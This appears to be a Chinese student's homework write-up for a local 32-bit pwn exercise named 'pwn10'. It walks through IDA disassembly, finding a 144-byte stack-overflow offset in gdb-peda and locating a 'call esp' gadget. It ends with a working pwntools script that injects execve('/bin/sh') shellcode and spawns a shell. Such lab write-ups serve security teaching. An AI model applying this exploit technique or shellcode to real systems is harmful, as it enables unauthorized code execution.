题目均为linux 32系统静态链接编译程序,关闭栈执行保护 要求: 1.需在Linux系统下安装pwntools。 2、编写python脚本,基于pwntool在本地加载目标测试程序, 通过脚本给程序灌入输入数据,构造的输入数据需绕过程序各种校验条件,达到漏洞触发路径,最后构造能够利用漏洞的样本。 题目中说了是32位系统的程序,但是如果没有说明的话,需要自己辨别,之前浏览博客的时候看到一个命令可以解决这个问题,当时没有保存, 现在找不见了,等以后找见了再补过来。  关闭地址随机化 ningan@ubuntu:~$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 1.先执行这个可执行文件 发现有个字符串 ningan@ubuntu:~/anan/hw$ ./pwn10 Do you want the secret? Now , give me your key:3 a YQ==ningan@ubuntu:~/anan/hw$ ningan@ubuntu:~/anan/hw$ 2.到ida中用search->text (Alt + t),输入关键字符,例如:secret,找到那个字符串的位置 那就是主函数的入口 .text:08048DA0 ; __unwind { .text:08048DA0 push ebp .text:08048DA1 mov ebp, esp .text:08048DA3 sub esp, 98h .text:08048DA9 sub esp, 0Ch .text:08048DAC push offset aDoYouWantTheSe ; "Do you want the secret?" .text:08048DB1 call sub_804F9C0 .text:08048DB6 add esp, 10h .text:08048DB9 sub esp, 0Ch .text:08048DBC push offset aNowGiveMeYourK ; "Now , give me your key:" .text:08048DC1 call sub_804F230 .text:08048DC6 add esp, 10h .text:08048DC9 sub esp, 8 .text:08048DCC lea eax, [ebp-0Ch] .text:08048DCF push eax .text:08048DD0 push offset aD ; "%d" .text:08048DD5 call sub_804F270 .text:08048DDA add esp, 10h .text:08048DDD mov eax, [ebp-0Ch] .text:08048DE0 cmp eax, 0Ah .text:08048DE3 jle short loc_8048E07 .text:08048DE5 mov eax, [ebp-0Ch] .text:08048DE8 cmp eax, 1 .text:08048DEB jz short loc_8048E07 .text:08048DED sub esp, 0Ch .text:08048DF0 push offset aWrongKey ; "Wrong key!" .text:08048DF5 call sub_804F230 .text:08048DFA add esp, 10h .text:08048DFD sub esp, 0Ch .text:08048E00 push 0 ; status .text:08048E02 call sub_804E8A0 3.F5反汇编 看到伪代码 int sub_8048DA0() { int v1; // [esp-90h] [ebp-90h] signed int v2; // [esp-10h] [ebp-10h] sub_804F9C0("Do you want the secret?"); sub_804F230("Now , give me your key:"); sub_804F270("%d", &v2); if ( v2 > 10 && v2 != 1 ) { sub_804F230("Wrong key!"); sub_804E8A0(0); } sub_80511D0(); sub_804F840(&v1); sub_80489F6(&v1); return sub_804F230("%s"); } 4.分析伪代码 发现有溢出可以利用 分析该伪代码,结合之前在linux系统中运行结果分析如下: 运行代码,首先输出:Do you want the secret? Now, give me your key: 当我们输入小于等于10但是不等于1的一个整数时,会提示我们继续输入(在函数sub_804F840) 然后下一个函数(sub_80489F6)会对输入的字符进行BASE65编码 最后一个函数(sub_804F230)对这个编码进行输出 ningan@ubuntu:~/anan/hw$ ./pwn10 Do you want the secret? Now , give me your key:3 a YQ==ningan@ubuntu:~/anan/hw$ ningan@ubuntu:~/anan/hw$ 5.利用 (1)找返回地址 1)利用cyclic函数生成一些随机字符 ningan@ubuntu:~/anan/hw$ cyclic 200
 2)进入gdb,在主函数0x08048da0处下断点,运行,利用刚刚生成的随机字符来覆盖栈上的数据 ningan@ubuntu:~/anan/hw$ gdb -q pwn10 gdb-peda$ b *0x08048da0 Breakpoint 1 at 0x8048da0 gdb-peda$ run gdb-peda$ c Continuing. Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands': Do you want the secret? Now , give me your key:3 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab YWFhYWJhYWFjYWFhZGFhYWVhYWFmYWFhZ2FhYWhhYWFpYWFhamFhYWthYWFsYWFhbWFhYW5hYWFvYWFhcGFhYXFhYWFyYWFhc2FhYXRhYWF1YWFhdmFhYXdhYWF4YWFheWFhYXphYWJiYWFiY2FhYmRhYWJlYWFiZmFhYmdhYWJoYWFiaWFhYmphYWJrYWFibGFhYm1hYWJuYWFib2FhYnBhYWJxYWFicmFhYnNhYWJ0YWFidWFhYnZhYWJ3YWFieGFhYnlhYWI= Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x10c EBX: 0x80481b0 (push ebx) ECX: 0xffffffff EDX: 0x80ed4d4 --> 0x0 ESI: 0x80ec00c --> 0x8065430 (mov edx,DWORD PTR [esp+0x4]) EDI: 0x30 ('0') EBP: 0x6261616b ('kaab') ESP: 0xffffd0f0 ("maabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") EIP: 0x6261616c ('laab') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x6261616c [------------------------------------stack-------------------------------------] 0000| 0xffffd0f0 ("maabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0004| 0xffffd0f4 ("naaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0008| 0xffffd0f8 ("oaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0012| 0xffffd0fc ("paabqaabraabsaabtaabuaabvaabwaabxaabyaab") 0016| 0xffffd100 ("qaabraabsaabtaabuaabvaabwaabxaabyaab") 0020| 0xffffd104 ("raabsaabtaabuaabvaabwaabxaabyaab") 0024| 0xffffd108 ("saabtaabuaabvaabwaabxaabyaab") 0028| 0xffffd10c ("taabuaabvaabwaabxaabyaab") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x6261616c in ?? () Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands': gdb-peda$ 3)计算返回地址 说明:我用的是gdb-peda,在gdb中不能用cyclic函数。 但是组里的其他同学直接用gdb,或是pwngdb都可以直接用,这样子就可以直接找到返回地址前面输入了多少个字符。 gdb-peda$ cyclic 200 Undefined command: "cyclic". Try "help". gdb-peda$ cyclic_find(0x6261616c) Undefined command: "cyclic_find". Try "help". 但是我不能用啊,我就找了一个最简单粗暴的方法:数。因为cyclic函数生成的字符是有规律的,如下: aaaa baaa caaa ... xaaa yaaa zaab baab caab daab ... kaab laab maab ... 可以看到在laab前面有144个字符,就是说返回地址的前面我们填充了144个字符。 (2)构造payload 参考demo的例子 demo里是这样子构造的 sendPayload(p,'a'*44 + p32(0x080e5837) + shellcode + '\n') 0x080e5837这个地址是call esp指令的地址,call esp的汇编指令时FFD4 我们可以仿照这个找pwn10中call wap指令的地址。如下: 在ida中search->sequence of bytes,输入:FF D4  点击“c”,将其转换为代码,如下:  'a'*144 + p32(0x080cb770) + shellcode 6.编写攻击代码 我:我改了这个和这个,但是怎么攻击不成功呢? 女神:那个demo的攻击代码看懂了吗? 我:没有 女神:看去 我:好 ningan@ubuntu:~/anan/hw$ vim pwn10.py ningan@ubuntu:~/anan/hw$ python pwn10.py ./pwn10 [+] Starting local process './pwn10': pid 4855 Enter a number: 3 [*] Switching to interactive mode YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhcLcMCJCQkJBqaGgvLy9zaC9iaW6J42gBAQEBgTQkcmkBATHJUWoEWQHhUYnhMdJqO1iD6DDNgA==$ ls core peda-session-pwn_demo.txt pwn04 pwn08 pwn_demo linux_server pwn01 pwn05 pwn09 pwn_demo.py peda-session-pwn03.txt pwn02 pwn06 pwn10 peda-session-pwn10.txt pwn03 pwn07 pwn10.py $ whoami ningan $ exit [*] Got EOF while reading in interactive $ quit [*] Process './pwn10' stopped with exit code 127 (pid 4855) [*] Got EOF while sending in interactive ningan@ubuntu:~/anan/hw$  攻击成功 代码如下: #!/usr/bin/env python
#coding=utf-8
from pwn import *
import sys
context.arch='i386'
context.log_level='info'
def sendPayload(p,payload):
p.send(payload)
def pwn10(bin_path):
shellcode='909090906a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a3b5883e830cd80'.decode('hex')
p=process(bin_path)
p.settimeout(0.1)
p.recvuntil(':')
x = raw_input("Enter a number: ")
sendPayload(p,x)
sendPayload(p,'a'*144 + p32(0x080cb770) + shellcode + '\n')
p.interactive()
if __name__ == '__main__':
pwn10(sys.argv[1])
ningan@ubuntu:~/anan/hw$ cat pwn10.py #!/usr/bin/env python #coding=utf-8 from pwn import * import sys context.arch='i386' context.log_level='info' def sendPayload(p,payload): p.send(payload) def pwn10(bin_path): shellcode='909090906a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a3b5883e830cd80'.decode('hex') p=process(bin_path) p.settimeout(0.1) p.recvuntil(':') x = raw_input("Enter a number: ") sendPayload(p,x) sendPayload(p,'a'*144 + p32(0x080cb770) + shellcode + '\n') p.interactive() if __name__ == '__main__': pwn10(sys.argv[1]) 仿照pwn_demo.py编写 先输入一个<=10但是不为1的数字,然后输入我们构造好的字符串 pwn,攻击成功! 改进:之前的攻击需要手动输入一个数字,比较麻烦,我们利用下面的代码,将数字直接注入, #!/usr/bin/env python
#coding=utf-8
from pwn import *
import sys
context.arch='i386'
context.log_level='info'
def sendPayload(p,payload):
p.send(payload)
def pwn10(bin_path):
shellcode='909090906a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a3b5883e830cd80'.decode('hex')
p=process(bin_path)
p.settimeout(0.1)
p.recvuntil(':')
#x = raw_input("Enter a number: ")
sendPayload(p,'4'+'\n')
sendPayload(p,'a'*144 + p32(0x080cb770) + shellcode + '\n')
p.interactive()
if __name__ == '__main__':
pwn10(sys.argv[1])
$ cat pwn10.py #!/usr/bin/env python #coding=utf-8 from pwn import * import sys context.arch='i386' context.log_level='info' def sendPayload(p,payload): p.send(payload) def pwn10(bin_path): shellcode='909090906a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a3b5883e830cd80'.decode('hex') p=process(bin_path) p.settimeout(0.1) p.recvuntil(':') #x = raw_input("Enter a number: ") sendPayload(p,'4'+'\n') sendPayload(p,'a'*144 + p32(0x080cb770) + shellcode + '\n') p.interactive() if __name__ == '__main__': pwn10(sys.argv[1]) 要注意加\n,要不然攻击成功之后,输入命令就会直接退出。 |